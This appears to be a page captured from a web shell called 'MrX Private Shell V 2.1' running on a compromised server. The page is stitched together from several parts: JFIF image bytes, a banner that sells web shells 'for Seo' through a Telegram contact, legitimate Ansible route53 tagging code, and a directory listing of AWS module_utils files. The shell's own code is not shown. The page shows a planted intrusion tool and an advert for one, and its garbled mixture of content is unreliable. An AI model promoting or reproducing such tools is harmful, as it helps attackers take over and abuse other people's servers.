����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# This file is part of Ansible
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import absolute_import, division, print_function
__metaclass__ = type
try:
import botocore
except ImportError:
pass # caught by AnsibleAWSModule
from ansible_collections.amazon.aws.plugins.module_utils.core import is_boto3_error_code
from ansible_collections.amazon.aws.plugins.module_utils.tagging import ansible_dict_to_boto3_tag_list
from ansible_collections.amazon.aws.plugins.module_utils.tagging import boto3_tag_list_to_ansible_dict
from ansible_collections.amazon.aws.plugins.module_utils.tagging import compare_aws_tags
def manage_tags(module, client, resource_type, resource_id, new_tags, purge_tags):
if new_tags is None:
return False
old_tags = get_tags(module, client, resource_type, resource_id)
tags_to_set, tags_to_delete = compare_aws_tags(old_tags, new_tags, purge_tags=purge_tags)
change_params = dict()
if tags_to_set:
change_params['AddTags'] = ansible_dict_to_boto3_tag_list(tags_to_set)
if tags_to_delete:
change_params['RemoveTagKeys'] = tags_to_delete
if not change_params:
return False
if module.check_mode:
return True
try:
client.change_tags_for_resource(
ResourceType=resource_type,
ResourceId=resource_id,
**change_params
)
except (botocore.exceptions.BotoCoreError, botocore.exceptions.ClientError) as e:
module.fail_json_aws(e, msg='Failed to update tags on {0}'.format(resource_type),
resource_id=resource_id, change_params=change_params)
return True
def get_tags(module, client, resource_type, resource_id):
try:
tagset = client.list_tags_for_resource(
ResourceType=resource_type,
ResourceId=resource_id,
)
except is_boto3_error_code('NoSuchHealthCheck'):
return {}
except is_boto3_error_code('NoSuchHostedZone'): # pylint: disable=duplicate-except
return {}
except (botocore.exceptions.BotoCoreError, botocore.exceptions.ClientError) as e: # pylint: disable=duplicate-except
module.fail_json_aws(e, msg='Failed to fetch tags on {0}'.format(resource_type),
resource_id=resource_id)
tags = boto3_tag_list_to_ansible_dict(tagset['ResourceTagSet']['Tags'])
return tags
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| _version.py | File | 12.4 KB | 0644 |
|
| acm.py | File | 10.91 KB | 0644 |
|
| arn.py | File | 2.24 KB | 0644 |
|
| batch.py | File | 2.48 KB | 0644 |
|
| botocore.py | File | 15.08 KB | 0644 |
|
| cloud.py | File | 9.29 KB | 0644 |
|
| cloudfront_facts.py | File | 10.98 KB | 0644 |
|
| core.py | File | 3.3 KB | 0644 |
|
| direct_connect.py | File | 4.14 KB | 0644 |
|
| ec2.py | File | 13.31 KB | 0644 |
|
| elb_utils.py | File | 3.31 KB | 0644 |
|
| elbv2.py | File | 43.18 KB | 0644 |
|
| iam.py | File | 2.86 KB | 0644 |
|
| modules.py | File | 16.9 KB | 0644 |
|
| policy.py | File | 7.55 KB | 0644 |
|
| rds.py | File | 17.57 KB | 0644 |
|
| retries.py | File | 3.28 KB | 0644 |
|
| route53.py | File | 2.4 KB | 0644 |
|
| s3.py | File | 3.4 KB | 0644 |
|
| tagging.py | File | 7.17 KB | 0644 |
|
| tower.py | File | 2.9 KB | 0644 |
|
| transformation.py | File | 5.37 KB | 0644 |
|
| urls.py | File | 7.06 KB | 0644 |
|
| version.py | File | 616 B | 0644 |
|
| waf.py | File | 7.96 KB | 0644 |
|
| waiters.py | File | 41.39 KB | 0644 |
|